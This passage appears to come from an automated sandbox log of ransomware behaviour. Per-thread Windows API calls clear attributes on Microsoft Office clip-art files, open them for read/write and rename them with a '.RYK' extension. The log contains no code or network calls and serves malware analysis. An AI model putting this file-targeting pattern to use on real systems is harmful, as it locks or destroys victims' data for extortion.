	[0241.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2156
	os_tid = 0x2760

	[0241.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF", dwFileAttributes=0x80) returned 0
	[0241.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2157
	os_tid = 0x2764

	[0241.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF", dwFileAttributes=0x80) returned 0
	[0241.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2158
	os_tid = 0x2768

	[0241.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF", dwFileAttributes=0x80) returned 0
	[0241.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.236] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2159
	os_tid = 0x276c

	[0241.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF", dwFileAttributes=0x80) returned 0
	[0241.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.238] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2160
	os_tid = 0x2770

	[0241.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF", dwFileAttributes=0x80) returned 0
	[0241.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.239] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2161
	os_tid = 0x2774

	[0241.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF", dwFileAttributes=0x80) returned 0
	[0241.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2162
	os_tid = 0x2778

	[0241.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF", dwFileAttributes=0x80) returned 0
	[0241.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2163
	os_tid = 0x277c

	[0241.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF", dwFileAttributes=0x80) returned 0
	[0241.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2164
	os_tid = 0x2780

	[0241.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF", dwFileAttributes=0x80) returned 0
	[0241.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.244] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2165
	os_tid = 0x2784

	[0241.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF", dwFileAttributes=0x80) returned 0
	[0241.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2166
	os_tid = 0x2788

	[0241.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF", dwFileAttributes=0x80) returned 0
	[0241.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2167
	os_tid = 0x278c

	[0241.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF", dwFileAttributes=0x80) returned 0
	[0241.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2168
	os_tid = 0x2790

	[0241.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF", dwFileAttributes=0x80) returned 0
	[0241.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2169
	os_tid = 0x2794

	[0241.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG", dwFileAttributes=0x80) returned 0
	[0241.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2170
	os_tid = 0x2798

	[0241.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF", dwFileAttributes=0x80) returned 0
	[0241.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2171
	os_tid = 0x279c

	[0241.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF", dwFileAttributes=0x80) returned 0
	[0241.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2172
	os_tid = 0x27a0

	[0241.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF", dwFileAttributes=0x80) returned 0
	[0241.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2173
	os_tid = 0x27a4

	[0241.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF", dwFileAttributes=0x80) returned 0
	[0241.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2174
	os_tid = 0x27a8

	[0241.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF", dwFileAttributes=0x80) returned 0
	[0241.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2175
	os_tid = 0x27ac

	[0241.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF", dwFileAttributes=0x80) returned 0
	[0241.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2176
	os_tid = 0x27b0

	[0241.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF", dwFileAttributes=0x80) returned 0
	[0241.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.264] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2177
	os_tid = 0x27b4

	[0241.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF", dwFileAttributes=0x80) returned 0
	[0241.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.455] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2178
	os_tid = 0x27b8

	[0241.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF", dwFileAttributes=0x80) returned 0
	[0241.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2179
	os_tid = 0x27bc

	[0241.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF", dwFileAttributes=0x80) returned 0
	[0241.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2180
	os_tid = 0x27c0

	[0241.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF", dwFileAttributes=0x80) returned 0
	[0241.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2181
	os_tid = 0x27c4

	[0241.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF", dwFileAttributes=0x80) returned 0
	[0241.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
